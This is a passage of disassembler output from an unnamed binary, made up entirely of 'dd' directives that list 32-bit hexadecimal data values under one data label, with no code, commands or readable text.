0E98D86A8h dd 0D18EFF05h, 64732A21h, 0E202B4C6h, 44891608h, 7F09E064h dd 7052B55h, 73036A03h, 0F39D862h, 0D5A63A59h, 4DDB0183h dd 800291Ah, 5C2BE745h, 1153DC5h, 0F3B84991h, 804E1D06h dd 8F55A21h, 69EEACh, 0CCD09A19h, 9E2F6206h, 738D5B0Fh dd 0B060785Eh, 4C454057h, 7C006CFEh, 0C9648526h, 1841C2D6h dd 813874CCh, 0A800C6E2h, 0FA7696C0h, 0DD44Ch, 0A34308EDh dd 272CCD4Bh, 3FCFA618h, 47A531h, 7A4F0E52h, 9CA49538h dd 0DF73BB01h, 4AE7D51Ch, 5EFF670h, 4ED3E2BDh, 2A7003BCh dd 99034B5Ah, 0FA4A5EDh, 0B6C4A370h, 36F820h, 0D4E9EE4Eh dd 0FB852CBCh, 0A07FA79h, 0B07ACFFDh, 3C052181h, 49BFC1D5h dd 612FBD98h, 49CED1C4h, 0F17F0009h, 0C874F7Ah, 32744669h dd 1A00F7C1h, 9AB79B1Fh, 155CDD4h, 4811B652h, 0F4BE5FAAh dd 0D79CAF1h, 51A9C730h, 44355Ch, 0D059B31Bh, 53ADEE67h dd 38BEC407h, 0F3F12D66h, 0BC4D1CFEh, 0F88199CBh, 9F8160h dd 90DE1EFh, 0BCBE4E58h, 5188D854h, 0BBF05545h, 21C9C023h dd 0B77F4A38h, 84CA8302h, 83F1A61Fh, 2C281A60h, 27D29h dd 576C2DD1h, 21023AC6h, 43C4C7E8h, 0C5B4914Ch, 2E6390E0h dd 1D94D2Fh, 0BA4F2D68h, 4C3C4244h, 1172D099h, 71803E74h dd 0EB157677h, 25382D5Bh, 9E5701C3h, 0D3A5D447h, 46B09051h dd 0A2923981h, 306C8920h, 4F00BBB7h, 0ADAB40Dh, 0C0F89E37h dd 13CC3B99h, 440C83D3h, 49ABC4F0h, 6A43008Ah, 8E540694h dd 0F6000F92h, 5DABE942h, 77B27BDh, 503CCC17h, 4F2A3786h dd 0BE84A0F4h, 0A8C44610h, 296F0051h, 0EB884897h, 9500E3C3h dd 0FCBED2F1h, 0C3DE518Ah, 0AAC43848h, 1EE03100h, 80975987h dd 0EFCB8FAh, 9F588F7Eh, 5C14463h, 803C1DE9h, 657FBD69h dd 0C0A7C4A4h, 53179441h, 2F006B03h, 60A2461Ch, 0EC21DCE9h dd 0C3FB09Fh, 9680A507h, 0C86FA631h, 860903C1h, 0E085DC91h dd 0BCC40180h, 0BD491418h, 568CD01Eh, 980C9E40h, 19271A4Bh dd 1CC100DDh, 0D46FA305h, 0A67429FFh, 240D2CA1h, 20671AB4h dd 30E0D531h, 1483B423h, 9C17B64Eh, 0DD80A988h, 9B18E196h dd 900E00FAh, 0E2893E83h, 41018257h, 0C5ECB3A8h, 9840D1C9h dd 1FCC314Dh, 485F57Ah, 884F2AA5h, 0B97F4E84h, 10D330A1h dd 282F4EBh, 0D28F2183h, 12406BD8h, 5C914E2Ah, 9AF46F28h dd 0C9417437h, 232DBEF0h, 3BD000A9h, 3F056522h, 0A730D446h dd 112559DAh, 84A600A5h, 9B9C9EEDh, 4700C903h, 0F4E60E58h dd 2880CA39h, 3850B1B8h, 0A403C29Eh, 26131838h, 312160C7h dd 94032A05h, 0C9A59A3Fh, 0F56103D8h, 57261ACFh, 0CEC43ED8h dd 0FA2F19C0h, 8630D6Ah, 0D9A637BEh, 33748086h, 0FC01DC1h dd 0F97240E0h, 982A11ACh, 0A4413803h, 887D433Ah, 1EF2762Dh dd 0C716F74Ah, 0F9262A3Eh, 0CAB8D411h, 0A6C423h, 327F1461h dd 0D94ACAE3h, 0C6B2CF00h, 0E6AC25E4h, 3B641CD3h, 88FD34Eh dd 9F8240E0h, 82E5D6FAh, 214C52D4h, 847AC344h, 0CCC2C168h dd 780AB48h, 0AD83FF15h, 9050006Bh, 3B82D669h, 0EA0684F2h dd 0A340FC12h, 36743066h, 0DAB0CE69h, 0B8918F1Fh, 7CF61604h dd 2E80A9C0h, 38F80096h, 0C21B5821h, 43003EEBh, 76CDFB9Fh dd 0FDBAA5h, 97F10A54h, 0D0171C61h, 48119899h, 0F237ED00h dd 413BEC96h, 0E945A490h, 4724D888h, 19C04E8Dh, 0D422C9E1h dd 0B2B81700h, 67DFAE37h, 0F4D58500h, 1E8F8D70h, 562D0054h dd 523CEB1Dh, 0BCA41A46h, 2BD11B01h, 0BC02788Ah, 0E0566160h dd 8DCD1671h, 31B30E2Ah, 31E51D86h, 0A8B32126h, 1C418C49h dd 235205C5h, 8F91159h, 9F924DC0h, 0B28FEC0Fh, 758E6003h dd 0A2B9003Ah, 32B89CF3h, 0D602C3DFh, 83DDD9B3h, 0AF84C0E7h dd 97BA2607h, 964100F4h, 5845FD64h, 94180309h, 0A4600080h dd 4837600Dh, 0EDC34C81h, 0A90E151Dh, 0C0630831h, 0EC558B6Ch dd 0F0A800B6h, 40A160FCh, 0B800E5D0h, 3F0EEB63h, 0A43CE6C7h dd 67A678E0h, 719FA943h, 0BD37748Bh, 0EB750711h, 0CEB05836h dd 9CC246h, 0A109E803h, 3007ECE7h, 0C018D348h, 932EC74Bh dd 78F80087h, 159F5B66h, 7F0391F7h, 9C37B696h, 0A6C116A4h dd 0D45021F2h, 9D0229Eh, 243D4CB3h, 3CC81D10h, 7BE13897h dd 6E1AE700h, 8B61464Fh, 13B7F700h, 7D8187C8h, 26A51264h dd 85800C9Bh, 25482A39h, 0D61DC290h, 8C4EDAh, 2BF97BE3h dd 5659BED0h, 0BA58A004h, 98805163h, 72A63E1Ch, 8C0A002h dd 4ECE0A74h, 112472C3h, 0AC2F009Ch, 5898CA1Ah, 643A05CBh dd 0C37F0EE7h, 1BB0C35Fh, 84A0E57Ch, 0B9080888h, 840FE5Ah dd 0A84DFC9h, 0A0CC292Ah, 783A48C3h, 9D21D44Ch, 0B8273843h dd 3089C12Ch, 3B21E7C4h, 0B77F70F3h, 192C0549h, 4A58A47Eh dd 5D288014h, 41450438h, 4B27B841h, 0C41AF310h, 7607D4A4h dd 0E35D8D60h, 71B09B87h, 10DC6BBh, 3C5B7A39h, 0E7B13E31h dd 827274C1h, 0CFA33771h, 64B0094Dh, 1726810Eh, 4F088C5Ch dd 15C042B1h, 44B02122h, 9A2F00B8h, 6E3F46B2h, 9504337Ah dd 1A5247EEh, 0FA48B486h, 0D74C102Ah, 20742543h, 102135C8h dd 1D72000Eh, 34F1B793h, 0FD01FC8Fh, 0FFF27CDCh, 0E7D08025h dd 43B002Dh, 97B9CE84h, 8F54C4A5h, 14A283C0h, 58003CE4h dd 0C6DDC595h, 0F4C3543h, 0EE833EB9h, 167FA361h, 9E53C006h dd 90B0AC90h, 8F788438h, 46B0A20Ch, 493575h, 7F02CA49h dd 0E247CB5h, 0D9D12D00h, 0CC06110Bh, 0B9C7F226h, 0E1BA0080h dd 0A01CA1C8h, 0D000D5E6h, 0B286245Ch, 16B6184Ah, 161DECE2h dd 0AC8010C1h, 0ED829C48h, 34628EBBh, 0DCE6A84Ah, 480FA605h dd 0BC402D1Ah, 43419DCBh, 4ED40047h, 0D1E4940h, 0F73AA6D9h dd 0F6768F70h, 78A0C654h, 4C9899h, 9B38B54Ch, 49DFA60Ch dd 61D628A8h, 0EA6CDC00h, 3BF2ACD7h, 964B1EE4h, 0D45DC286h dd 0A0E6B7A6h, 911A2D44h, 0F8803E04h, 9C411712h, 681687A3h dd 79007731h, 0C1FEC50Eh, 0C6AC058Bh, 4059DC1Eh, 6368F91Ch dd 0E2030CD2h, 88E9CDE5h, 4E1E9176h, 97C9E0E7h, 0D9AD68C5h dd 0E6758058h, 87812A35h, 0C3964709h, 86F407BEh, 13C286DEh dd 40749429h, 8504E36Eh, 80935339h, 7CD00BF3h, 0CA2E21h dd 0E73B201Bh, 30AE6AC5h, 0F53C0802h, 20DB1D47h, 408652B9h dd 7B7128A8h, 0E2604B00h, 6C2C0570h, 0F6B81204h, 0A6544286h dd 949130CDh, 4A5E102Ah, 0EB21016Dh, 1DDF2C90h, 42AFF4FFh dd 0D846D204h, 24C0CFDAh, 9C74CDC6h, 49448000h, 98E4F8AAh dd 0BB4AD601h, 3F5BCB68h, 3380C02Ch, 30DBA2FFh, 491DB900h dd 3187CAE4h, 0BE4E19DAh, 23B4811Ah, 972D00D8h, 0A8A299C4h dd 0EFC80936h, 0F484DF5Fh, 0F48C253Ch, 4CEC7A3Bh, 284B8054h dd 2500E3A4h, 0AEFDC0E6h, 13A70E7Bh, 8424FF4h, 0A8AC43E8h dd 0A7881510h, 0D9ABAE80h, 0A6E147h, 0CEF6C10Bh, 6F5CB3D4h dd 50F41526h, 0A7068C24h, 793BC6h, 0B65E9CA5h, 0CDB7D7EFh dd 90881E26h, 5F6014CAh, 0F3D3E0h, 20845748h, 407F9A0h dd 40726E26h, 14C71560h, 610800F3h, 8DD4D5B5h, 0F90F95CCh dd 93A1B1BDh, 0E874940Ah, 0ECC6CE40h, 418F0058h, 170FA29Dh dd 1000C8F6h, 0A405A668h, 39A0FCh, 3B4221A5h, 0E60497D8h dd 9162C50Fh, 6A648FA3h dword_55FB80 dd 0D240B475h, 395A7h, 8F20F4BDh, 0E492FA37h, 3852BB04h dd 0E092340Bh, 98405AC0h, 0F212E900h, 0EDDC1540h, 0F0A630C5h dd 84A3D48Ch, 18F23800h, 8095BBDh, 90E8B321h, 82318F9Ch dd 523B3F6Fh, 5E692CE8h, 10426730h, 0DDE7ADD6h, 360B64F4h dd 186E2C77h, 0E265F474h, 81D13F9h, 44A408D6h, 0B29CEB80h dd 1315857Fh, 0C8C54ED1h, 0C68C4F54h, 886C36A0h, 0C8CACCA1h dd 42F6A25Eh, 19860418h, 8B1DC040h, 34CB3028h, 503DF7h dd 0BB3E6196h, 0BC85ADh, 0F9D9EBDCh, 99048FC7h, 902EA509h dd 31C44478h, 5291DA37h, 0C8020955h, 5EA06161h, 0B03FA441h dd 6831C875h, 782E0062h, 84D01098h, 0A54B42F0h, 0A474E0AEh dd 38C119C1h, 3068FC1Ah, 63F49701h, 0CBA707DCh, 0F10DD017h dd 11CE70B0h, 2D3E2016h, 1355B30h, 283940C0h, 38C77562h dd 0A80A2E58h, 421BBE88h, 0ED23485Ah, 0EFF6880Ch, 3C225CBBh dd 562D7302h, 4471A57Ah, 7FCA7C00h, 0A0F1A610h, 49C40A44h dd 811EC432h, 84BDD4D4h, 6FA80C2Eh, 87DEADAEh, 0D049EEBCh dd 0E5686F51h, 0DB172C05h, 4A80F431h, 187E38D3h, 8802D91h dd 7160B029h, 8527DF69h, 0BA8C00D0h, 986C4D05h, 0E32C4E6Dh dd 0B60E04E4h, 2F91890Dh, 63610914h, 10D1F244h, 6A0A5847h dd 9CB36ED8h, 0FC67B940h, 1FCAF0B1h, 81F24C95h, 0BBE6155Dh dd 0A488425Ch, 7C81384Ah, 70492331h, 977674B8h, 1764C08Ah dd 78FA739Eh, 0A30946Dh, 60D0BDA4h, 8A97D2BCh, 0F2E63200h dd 71FB8262h, 1261787Eh, 446C03Ch, 54A0DC8h, 0B033F3A6h dd 375012BAh, 9718D29Eh, 2425E061h, 11E9ED4Ch, 0B2147350h dd 0C00902D4h, 0E35ACC86h, 0A89050D8h, 1C4444BBh, 9A9F449Eh dd 8F035613h, 90CD6F58h, 0CC045BE6h, 75595A30h, 1CF93944h dd 0E44CD7Ch, 0BAE45262h, 30598134h, 0F69043DFh, 0D40E2926h dd 1A4931E4h, 34500868h, 731F0C00h, 0EDCDD957h, 3C7901ABh dd 36F3F126h, 0F93BEBF4h, 9FEEBE3Bh, 0AD0AD28Ah, 0E7090CCEh dd 3070B47h, 26995BA0h, 7582170h, 0C38DAB0Dh, 19EB0EA4h dd 0E880DB82h, 0FE5A3F6Bh, 14203424h, 801C5E08h, 0C8AE939Ch dd 3719B59Fh, 27293C0Ah, 0C4497070h, 8CA2D429h, 2D8CCCE8h dd 0E8A07718h, 4933AE89h, 281EFF03h, 8035B40Ah, 4CE2B84Bh dd 112154CFh, 80B4B014h, 92B56EA4h, 0C1083E50h, 0C91ABD80h dd 9AE825CFh, 0F588FB16h, 1C999488h, 16C73A4Ah, 77E10726h dd 0F0F810CFh, 0B60BCBE6h, 0AEA522FCh, 48C98994h, 0B53648h dd 1E96ACCCh, 0A1B333BAh, 0BCCE520Ah, 0B11383E5h, 0A07ABC20h dd 503712B0h, 67809EBh, 53230C84h, 0F1BF400Eh, 3DC7F302h dd 8CE83C95h, 18355B21h, 0A8C21084h, 34D4847Ch, 0F3ED0CCh dd 0EF02F082h, 0B8802D88h, 6ABB2C09h, 0AC0500DEh, 7BF91322h dd 485C0FA9h, 3A42140h, 4E2B4AE7h, 942FBA8Ah, 0C7604838h dd 6FB00CCFh, 5B6BFAh, 0E8AC76ADh, 368BA6B7h, 522DEA01h dd 5CB025E7h, 0BE3BF980h, 11EF8679h, 3469CA00h, 3E786CDAh dd 68D92543h, 644E1023h, 14CC3188h, 0EFBBF200h, 4AAB3AC3h dd 0C0A07BD4h, 0C8C8081h, 672EF2B9h, 0E86F8411h, 8CBD4571h dd 94845BE4h, 0AC56405Ch, 4007525h, 0D518DE63h, 0EA6113E1h dd 0C24F0485h, 9043E65Ah, 4D4497B8h, 0A022234Eh, 0F3ED2049h dd 4E1838D4h, 0BD211F54h, 0BD2068Bh, 4060C1C4h, 9C9448h dd 805DAF9Ch, 3049FE17h, 473125BCh, 8D124059h, 4888903Ch dd 4136020Eh, 0F61942A7h, 83E09F43h, 0E8B11D98h, 0F9B23F00h dd 742C20Dh, 84A690E6h, 4C107B4Eh, 0B0968321h, 4400FF4Ah dd 0F688B15Dh, 54E40F5Bh, 0CEEB0CD2h, 0D9BF3E81h, 22246D38h dd 5A764Eh, 19EC7E07h, 0A41ABEB5h, 6D067309h, 0F240008Eh dd 0B93B2901h, 5CC80DCh, 889AE1A8h, 6BD06C00h, 734232B6h dd 7B1F00A6h, 91B2FC82h, 384C5FBBh, 0A00CC0B0h, 0E379CFAAh dd 0E43070D9h, 974C400Fh, 0C9BA25Ch, 31C9C6A6h, 96F0BC1Ah dd 9701FBAAh, 0FD4E7732h, 2BC7D0h, 0C9842CACh, 0CDA7FF42h dd 8144B894h, 97E37F60h, 3F911091h, 0BBF0607h, 837BD318h dd 0CC90CEE2h, 60280C65h, 24444445h, 49120029h, 0D8447102h dd 0B027882Eh, 0BFE825A5h, 1C80E4E2h, 76DE7F59h, 25AB6F03h dd 8824E681h, 211FA5Ch, 0BB45380Fh, 0EC8597E0h, 47508C2Dh dd 2FBCE28Bh, 9418648Bh, 7200D0DEh, 8BDA152Ah, 7CBC0DFFh dd 0A80B4CB6h, 74CDA614h, 259CD416h, 11300088h, 0A4ED84A9h dd 1530B44Ch, 8098AF37h, 618C9EA5h, 833C2511h, 7F533C38h dd 74D1140Ah, 860E0C3Dh, 72AAE04Fh, 5860CD70h, 0FB8038C7h dd 8F589FD7h, 149409E4h, 3B56D300h, 1FFEA96h, 3F3D6DE5h dd 70E9D438h, 9EB00588h, 324A6C25h, 0E7409854h, 0B33F00EEh dd 663603C2h, 0C10F933Dh, 40693A6Bh, 0DCA0DD78h, 42489474h dd 772ECDEEh, 28404C94h, 70F08BD2h, 0B25F000Ah, 288DE959h dd 0BE011C97h, 0D5DD0B72h, 9601C4B4h, 0DBDEEC4Eh, 3A3BD883h dd 9CC94C04h, 0A82B5380h, 0E100A6F1h, 46478C8Bh, 5125B59h dd 333CB84Ah, 998B482h, 4072C426h, 4DE73880h, 4E71AC86h dd 0C9BC44BDh, 0AB3942A4h, 0E0076333h, 90757D9h, 0F6ADF19Dh dd 0A0CFA0A5h, 4484DD98h, 0CE3AAE55h, 3C0070F3h, 0D84DB79Bh dd 92FE5BABh, 0CBC92714h, 0E0B544B8h, 0EFE47D00h, 6AE325DFh dd 1D180076h, 0A5B1634Ah, 960C68C6h, 71E8C773h, 2FF128A6h dd 88608024h, 0DAEB0049h, 0C053FBDh, 0C901284Bh, 73A1344Eh dd 7EE42361h, 0A7BD1601h, 0C2A8D4F1h, 0A620CF98h, 17EE71EFh dd 390CD60h, 0B0300630h, 31247389h, 80C468DCh, 5FC8261Ah dd 355C019Fh, 2E41B52Fh, 7628E983h, 31953260h, 88A8D10Dh dd 611244E3h, 0D87CC8h, 133DE10Ch, 87B90F65h, 5647C61Dh dd 378C7E41h, 0E83CA1ABh, 20483388h, 4914FE01h, 0C8C8F31Dh dd 506802FCh, 7F6663D3h, 7C00B4D0h, 0A7DABB61h, 567BAEDh dd 7A83859h, 0CEFC81DBh, 807872D8h, 0E43B4953h, 0BF2C00A2h dd 9483638h, 9B38B28Ch, 61D8825Dh, 0D20F5242h, 0A90E2E78h dd 0C7263A68h, 98262DAAh, 7642286Fh, 23410D3Ah, 9F270378h dd 0DB7E7884h, 0F279E8C8h, 0BD402499h, 2A410269h, 64564627h dd 0B94A1C44h, 8C1E94B8h, 0A013C22h, 0F49D3BDCh, 843CE0DAh dd 415DB018h, 0E900B426h, 97BF8409h, 5F7ED5h, 0E3709469h dd 8C385B61h, 0E03B2A26h, 3DAA7B60h, 0C0910027h, 0DDBDEC65h dd 40914CD8h, 1D174A81h, 0ADCC27BAh, 0C5AE0074h, 2DE02E20h dd 0A404D7CEh, 0A837ED6Ch, 2FA658C8h, 101144F3h, 7827F253h dd 18CD3C85h, 767F3463h, 519B0096h, 1499710Eh, 0DF006AD3h dd 58C3045Eh, 5C403080h, 19A05048h, 90001D0Bh, 0C0A72817h dd 595C12h, 0DCCD0F6Ch, 8A48A5F7h, 2AA3D200h, 0F2377F3Eh dd 350C908Eh, 0F28895AAh, 0F55E00E4h, 59912FABh, 512A29A2h dd 81BB90CCh, 88852B0h, 44C1B838h, 609BB87Dh, 80842660h dd 1D48F2Ch, 9B6A4493h, 0FC5221F4h, 881EA69Eh, 3426F5ECh dd 0EE7BB760h, 508100D6h, 1677546Bh, 0EC0283EDh, 0F0A621F3h dd 0A72C7B30h, 3608D400h, 0E300EBE8h, 595FBE54h, 9DE525E6h dd 0F8842011h, 5B046706h, 9681F9E7h, 0DF9E00EEh, 0A93A2B41h dd 0A2705805h, 6C03B3B4h, 0B8CBC583h, 4C272C33h, 9C01480h dd 71FEACEDh, 40B9E00h, 0F4EFF840h, 448CB87Bh, 0AE0E1A5Ah dd 0B8C9FE0Ch, 2CE2EEh dd 9E33D57Fh, 0F66C01B0h, 0F522A80Bh, 35502487h, 68E0124Eh dd 7FA63CF9h, 1775E748h, 0D10374BEh, 0F28B7DA2h, 4C38442Ch dd 0D2B09CC9h, 0FE037EA1h, 3740CA25h, 9C038FB1h, 31F9B087h dd 74F80967h, 0C4682055h, 25095A9Ah, 7B0F64h, 0F4EDD3E8h dd 7580047h, 23E28CB7h, 25055685h, 9876A58Bh, 7B7F8830h dd 2C960EC6h, 6D20A79Bh, 0FFF8C358h, 0A0B1C53Ah, 43780744h dd 0B7EDCFE6h, 9E7281C7h, 42F02070h, 166EBB88h, 885A238h dd 0ED8009B4h, 0BD49FF9Eh, 0DA3C090Dh, 80234B2h, 0D42043C6h dd 5BED69FAh, 19F0401Dh, 50041F0Eh, 56BE7F00h, 0EDF61498h dd 37D50013h, 0EC386ABBh, 0A6735CCBh, 202EE045h, 48C6A214h dd 0B089E30Ch, 607489A6h, 0D2E72934h, 0CC1D1418h, 3A80580Ch dd 39885B96h, 0CBE509BBh, 0BCA9AF1Dh, 9D624498h, 3E8F5000h dd 15C761F6h, 1018994Ch, 4925C838h, 98F5E880h, 0BCB0B9ECh dd 272DA002h, 74737E83h, 76C41D0h, 865A7055h, 0C5ADFB00h dd 0FEE1666h, 3330132Fh, 78B2CDh, 545EC3Ch, 15D6291h, 8F07AFDFh dd 8B771DF0h, 44242AF9h, 5EC50EB8h, 0EE0CF3Eh, 0E0AAF038h dd 51A71B3Dh, 432D44C0h, 0AEFF9FC0h, 0F0CC8CECh, 0C2515F00h dd 2C465505h, 15240E99h, 0ECC017A9h, 827C8E07h, 0AE07B4B0h dd 74FBB7F3h, 0FEA63AA0h, 0E2BF44Eh, 0C42E7858h, 0E36EEC00h dd 0B73FC9D5h, 92C8032Ch, 0E7BD1B48h, 6BE7C36Fh, 48BED3h dd 0B8A62D2Ch, 0EB13A247h, 153F5Ch, 35A3BC6h, 18360A3Dh dd 79389F97h, 0EB019CC7h, 3462F424h, 5BC8D0F1h, 0ADD330D5h dd 0A04D1051h, 2B81B107h, 0CFE6C3BCh, 39E30389h, 0D695D7F4h dd 9F1365E8h, 5595D60h, 208A73Dh, 4652B666h, 406040B9h dd 6B0F2D38h, 0EF154465h, 7C554043h, 3C4E32AEh, 3B037002h dd 4D5CAD91h, 0F0347BB9h, 326038CCh, 0BB7DAB59h, 36F07A5h dd 0C06B964Dh, 354B71E6h, 0B590C401h, 3917F6F8h, 343F833Eh dd 0B6813900h, 0BB1EC2DFh, 304B61F1h, 0C539BA04h, 0FAD18CF7h dd 0E8F308BDh, 59F00676h, 8883F9D3h, 30C35C3Dh, 0B04621C2h dd 0E190ABBBh, 1982B64Dh, 0CCC2F140h, 7903AA63h, 0AA0E36C8h dd 0A67000DFh, 0D8A0544Ch, 19032691h, 12E5A803h, 9A4DE017h dd 2D520016h, 30FBBF98h, 0B2065736h, 5BF812B9h, 52A944A0h dd 18B86D00h, 0F2D3BF82h, 0EF06005Fh, 3DD044B3h, 0F100ACECh dd 718B1383h, 0AABB239h, 1604B43Eh, 17CA008Ch, 0AD78D054h dd 0FC651400h, 0D99D2ACBh, 0F288A1BDh, 0CF43E710h, 0AB3049E6h dd 0D2E62832h, 90F9C0BEh, 633BF707h, 2E37B500h, 855EEB46h dd 265F0149h, 96452089h, 0B29042FEh, 0BFD41721h, 76634180h dd 62435053h, 0E294D800h, 12D4281Dh, 77C60564h, 1E7011B7h dd 0B643428Ch, 14487384h, 9B00CECCh, 4AF8BCC3h, 7EC512FDh dd 7CC8A4B9h, 2D5116B4h, 0BDA1B1E2h, 0CF1086B8h, 3829313Bh dd 360CFF4Ch, 0CE60C89Ch, 0D241738Ch, 85BA0B29h, 0C3AF102h dd 0C2332C48h, 0A664D350h, 801E773Ch, 0AB16EACFh, 0E5E319h dd 0C61F0FBDh, 412C6558h, 0DDD56415h, 19010FACh, 6943811Ah dd 56D4C366h, 4BDE490h, 4DB3CFEFh, 72148068h, 0AC0637ECh dd 3641D065h, 0A03B62E8h, 39233240h, 17897842h, 0C764165h dd 0F2188EA7h, 9B9CA88h, 0BE73C36Dh, 0AFB36010h, 2124E88h dd 0DFA4CE3Fh, 744232A9h, 60AB1424h, 0C0C0D317h, 98FE4011h dd 781C2DDAh, 5E016A4Ch, 88D1A6B5h, 75126C33h, 980D002Dh dd 0C07D78B3h, 7F353600h, 6EDAC80Ch, 48610094h, 5E680D4Dh dd 60006306h, 0DB384334h, 51A235DEh, 0C1D195D6h, 0DFB81EE0h dd 62790008h, 99CD6C1Dh, 598B103h, 34D673h, 0EA25EF29h dd 0C7AD82C0h, 3B43CA1Ch, 0A66151F0h, 0F69E0076h, 0E1E8B5F0h dd 5103E640h, 0AECD644Ah, 0BC1ED1DBh, 0E5396980h, 0FD7940ABh dd 74A1A701h, 0B91D1F87h, 7F219Ch, 0AA9B2C7h, 0A600F4A5h dd 4E58DD26h, 2843BF7Eh, 503CCD25h, 63EC92Eh, 0E86895AEh dd 0C11D18E9h, 0A8C7B1C2h, 0B873D5FBh, 0D6C80C0Eh, 95D13E69h dd 4954B737h, 0C5007E8Fh, 4713D22Ch, 26D83705h, 63FFF029h dd 0A400F412h, 8AD9466Eh, 70F7BBFEh, 22F60627h, 49F8E804h dd 0A84FCF03h, 0E03105C7h, 0BEF96Ch, 27F2B740h, 3B61D6BCh dd 39C459C3h, 85812CBFh, 0E86D060Ah, 0E40149EFh, 0DACCCAB0h dd 0F8CC942Ah, 0AD8900B9h, 9BC62C07h, 951410A5h, 68D761h dd 0A0E8D655h, 7BF926CFh, 0E79F180Fh, 504851F7h, 0FEE37D01h dd 3F86A4FBh, 5E61D040h, 5F91296Bh, 83B442F4h, 2343E600h dd 0F6E888D0h, 267A51C0h, 1330777h, 0E62AAFE4h, 0DFE80199h dd 2D0B2100h, 0BF93E5CCh, 0D67800FAh, 0D1854745h, 0F4A8BD1Dh dd 0F20E9B11h, 208FDC2Ah, 0B4B26548h, 704E0E09h, 7901BFE7h dd 80AE1D2Ch, 24086D31h, 3C165Fh, 0E0031FDBh, 76DFCF85h dd 5DC0A90Eh, 6C5A61F0h, 0E0485FD6h, 2C911Eh, 0A7B61921h dd 3600807Eh, 0AC29D89Dh, 60E8CFE3h, 1F19B9F0h, 0A700ECE4h dd 3FB9314Ah, 49790Ch, 0D4BFB78Bh, 41B67792h, 0D731F264h dd 9B60A489h, 0BD37007Ch, 0EDB7DBF4h, 4778D6F3h, 0E1C88406h dd 289A5C1h, 439E4A4Dh, 6444D73Dh, 0FE12488h, 30F15A00h dd 0CE595775h, 5F913EDh, 0C0C31F23h, 5D604C54h, 0E930C574h dd 0C1889DDh, 0D87CFAh, 0FDA5D0EAh, 4760C229h, 72259A00h dd 61C46AE8h, 6073725Dh, 7D0F79D1h, 5F3E8C43h, 575980FBh dd 9B9D042Fh, 837A00DAh, 4D0D9FBDh, 0C100401Ah, 2C787241h dd 88F3E8BCh, 86003388h, 0DD54DE71h, 0F9455932h, 8244E8h dd 3EFA0F50h, 64CAEAE0h, 5D674C00h, 0E211C575h, 26E53A54h dd 8CC0B515h, 20347028h, 8500A03Eh, 0DC4DB977h, 0FEC23BF4h dd 9D2D07B6h, 9993FB66h, 0F8BF1B00h, 43723F60h, 5B80A891h dd 69598B9h, 0F8C2673Ah, 40DC2407h, 16463CFAh, 4CC1025Bh dd 0C678FB65h, 0CCACB361h, 0D60426ABh, 40195C49h, 24D574C2h dd 3F488E9h, 0B928F000h, 5C55191h, 9F3742Dh, 1C196348h dd 41B478A4h, 61EB5732h, 0A3C81E21h, 9B89009h, 0A683498Fh dd 0BF1EBC10h, 7F3D31C0h, 10E2DADh, 0E23FC498h, 24B162D6h dd 0C2480D20h, 2655C058h, 0D3FC86h, 0C9492AE0h, 0C4258860h dd 905EA326h, 3441C14h, 3AD087BAh, 901898F4h, 0D9DF0112h dd 0D6B59237h, 9E3B103Dh, 961F01AFh, 916722B3h, 7ACC436Bh dd 30F37F91h, 0CB141764h, 0C0B83643h, 8CB57356h, 46090097h dd 0B0C6DF3Bh, 0BB32E1C7h, 66C281B1h, 0F0A80020h, 0BC402AB9h dd 5F1DE705h, 0B4C539CFh, 2186C5C3h, 1427D29h, 310FA859h dd 80911DCEh, 2A5E171Ah, 94C4B39h, 0D7C7B1B6h, 1949F810h dd 0A9C58800h, 6A477256h, 485C760Eh, 751E5E9Dh, 544E6F1h dd 94AB664h, 95003E48h, 3A3F906Eh, 432E5F1Eh, 7C4870A8h dd 28090515h, 75C33BF5h, 84394CDFh, 41DB3411h, 0C0AC32D4h dd 7A2A2DA0h, 0BE2600E2h, 2FC7CAFAh, 60075194h, 17C2383Ch dd 0B39C1E6h, 87306835h, 7485005h, 449CE634h, 105D09D1h dd 0B34F48h, 98550426h, 0A542ADE4h, 23173E04h, 9880FED3h dd 62549D7h, 5DE5EC09h, 0F1EE39CFh, 2AE20700h, 0D2D3F262h dd 0B55A0058h, 0B6B1A0A3h, 95724754h, 0D83F3B14h, 1DE61DE4h dd 60410122h, 7768D592h, 0B5F9C8BBh, 4E027F7Ah, 1AB8EE90h dd 60B08EC5h, 3B95D953h, 0E124A043h, 0C2BD44B9h, 4EAF4A1Eh dd 0EF7155C3h dd 0D051C8C5h, 0A940164Dh, 0DB94320Ch, 0B56C002Bh, 308C75F4h dd 2449BA1Ch, 4500C43Eh, 0C3AFA425h, 14A96064h, 0A0211EFBh dd 0CA000048h, 37633995h, 1893B03Ch, 0F2AC3800h, 1C4BC0DAh dd 0FAC42Ch, 0E3D39134h, 48056A67h, 1EE54938h, 19805C1Eh dd 82133C5Bh, 4F7313ACh, 3EE804CAh, 5D7C42BDh, 0B46634h dd 180E86DCh, 1C393D2Dh, 7F499E00h, 0CB948B08h, 2B911F15h dd 0E30185CAh, 5A78881Eh, 0BA0CC200h, 6A1A3EF2h, 12E0FA79h dd 344C2Fh, 5A194DD7h, 7E138C50h, 5008D71Ah, 62280EEh dd 0AEB38E24h, 2CA1E800h, 6C0F6A63h, 836704C0h, 8CB77C69h dd 0B80068C8h, 7797F99h, 72CB7738h, 49230097h, 5FB3614Dh dd 0EF658776h, 8C9298h, 0F8A40007h, 2310F68Dh, 0CF0AB6EBh dd 0C57DB014h, 0C18FB800h, 152DC2E7h, 0FCE5624Ch, 93F63A02h dd 0E0E0FB96h, 140A86C5h, 98CC3943h, 0F7A76780h, 58E21FACh dd 25809C44h, 0B6B0D37Eh, 3FCC64Ch, 80AE11F7h, 18389058h dd 0E4921FCEh, 3B53C031h, 0FCA170AFh, 1DD885Ch, 0D91873BAh dd 80EB74DFh, 530544h, 43EB456Bh, 8623724Fh, 0A797B500h dd 0E7E2CB09h, 980F77D5h, 82494C02h, 6338DC03h, 69D89808h dd 56006452h, 19B105D7h, 0E7DFCF8h, 0BE837BA0h, 8A09F243h dd 771342E0h, 8B0F01F8h, 80F3BDD6h, 694A298Ch, 0F84FF876h dd 309D609Eh, 6083B4Dh, 0B3AFEF1Ch, 1030049Dh, 143F5A5h dd 24F48D7Dh, 8CEC820Ah, 20AE7A08h, 43FD0044h, 1B053550h dd 0C20E2557h, 38A25689h, 83AE7260h, 0EB1451FEh, 0DA3F26h dd 0BB5F011h, 1C79A4Ah, 2C0FBD0Dh, 0CF60FD05h, 0BE668100h dd 0B930AB6Dh, 6687F482h, 51BD0849h, 6DB7C400h, 66B20736h dd 10CD0021h, 0D457BB6h, 6F606E14h, 823B57E8h, 